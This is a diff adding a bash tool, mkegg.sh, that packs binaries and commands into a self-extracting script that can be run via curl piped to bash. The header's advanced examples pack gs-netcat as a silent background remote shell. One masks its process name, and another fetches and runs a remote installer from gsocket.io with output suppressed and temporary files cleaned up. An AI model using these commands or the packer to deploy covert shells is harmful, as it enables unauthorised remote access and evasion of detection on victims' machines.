self-extracting

tools/mkegg.sh

@@ -0,0 +1,97 @@
+#! /usr/bin/env bash
+
+# 2024 - https://thc.org/tips
+#
+# Pack multiple binaries, directories and scripts into a single
+# executable and self extracting binary. On execution the binary
+# unpacks itself and executes a run script or command.
+#
+# ./mkegg.sh egg.sh binary <binary2> [command/shellscript]
+#
+# The egg.sh can be piped into bash:
+#     curl -SsfL https://example.com/egg.sh | bash
+# or passed as command line option
+#     bash -c "$(curl -SsfL https://example.com/egg.sh)"
+# or executed:
+#     ./egg.sh
+#
+# Example 1 - A binary and a run script
+# ./mkegg.sh egg.sh foo run.sh
+#     - Pack 'foo' and 'run.sh' into egg.sh
+#     - When executing 'egg.sh': self-extract 'foo' and 'run.sh'
+#       and execute ./run.sh
+#
+# Example 2 - A binary and a command
+# ./mkegg.sh egg.sh foo '{ FOOBAR=HI ./foo; }'
+#     - Pack 'foo' into egg.sh
+#     - When executing './egg.sh': self-extract 'foo'. Set environment
+#       variable FOOBAR=HI and execute ./foo
+#
+# Example 3 - A binary, a directory and a run script
+# ./mkegg.sh egg.sh foo warez warez/run.sh
+#     
+# Advanced examples:
+# ./mkegg.sh egg.sh gs-netcat '(GS_ARGS="-s SECRET1234 -ilq" gs-netcat 2>/dev/null &)'
+# ./mkegg.sh egg.sh gs-netcat '(GS_ARGS="-s SECRET1234 -ilq" bash -c "exec -a kilo gs-netcat" 2>/dev/null &)'
+# ./mkegg.sh egg.sh /dev/null '(GS_WEBHOOK_KEY=e90d4b38-8285-490d-b5ab-a6d5c7c990a7 bash -c "$(curl -fsSL https://gsocket.io/y)" 2>/dev/null >/dev/null &)'
+# ./mkegg.sh egg.sh deploy-all.sh '(GS_WEBHOOK_KEY=e90d4b38-8285-490d-b5ab-a6d5c7c990a7 deploy-all.sh 2>/dev/null >/dev/null &)'
+
+usage() {
+    echo -e >&2 "Usage:
+    $0 egg.sh binary command"
+    exit 1
+}
+[[ $# -lt 3 ]] && usage
+
+DST="${1}"
+shift 1
+CMD="${@: -1}" # last argument
+set -- "${@:1:$(($#-1))}"
+
+# We need a 'sleep 5' for Example 5: shell may exit and .tmp_egg deleted before
+# bash had time to execute gs-netcat.
+
+# HEAD='#! /bin/sh
+# ARCHIVE=`awk '"'"'/^__ARCHIVE_BELOW__/ {print NR + 1; exit 0; }'"'"' $0`
+# mkdir .tmp_egg || exit
+# tail -n+$ARCHIVE "$0" | gunzip 2>/dev/null | tar x -C .tmp_egg
+# (cd '.tmp_egg' && PATH=.:$PATH XXX)
+# ({ sleep 5; rm -rf './.tmp_egg'; } 2>/dev/null >/dev/null &)
+# exit 0
+# __ARCHIVE_BELOW__'
+
+HEAD='#! /bin/sh
+run() {
+    mkdir .tmp_egg || exit
+    gunzip 2>/dev/null | tar -x -C .tmp_egg 2>/dev/null
+    (cd '.tmp_egg' && PATH=.:$PATH XXX)
+    ({ sleep 2; rm -rf './.tmp_egg'; } 2>/dev/null >/dev/null &)
+    exit 0
+}
+if [ "$0" = bash ]; then
+    while read -r l; do
+        [ "$l" = "__ARCHIVE_BELOW__" ] && run
+    done
+else
+    while read -r l; do
+        [ "$l" = "__ARCHIVE_BELOW__" ] && run
+    done <"$0"
+fi
+__ARCHIVE_BELOW__'
+
+if [[ -f "$CMD" ]]; then
+    HEAD="${HEAD//XXX/$CMD}"
+    ARG=("$CMD")
+else
+    # escape ' correctly
+    str="${CMD//\'/\'\"\'\"\'}"
+    HEAD="${HEAD//XXX/\/bin\/sh -c \'"${str}"\'}"
+fi
+# echo "'$HEAD'"
+
+[[ "$(tar --version)" == *"GNU"* ]] && TARG=("--owner=0" "--group=0")
+
+[[ -f "${DST}" ]] && rm -f "${DST}"
+(echo "$HEAD"; tar cfz - "${TARG[@]}" "$@" "${ARG[@]}" 2>/dev/null) >"${DST}"
+chmod 700 "${DST}"
+ls -al "${DST}"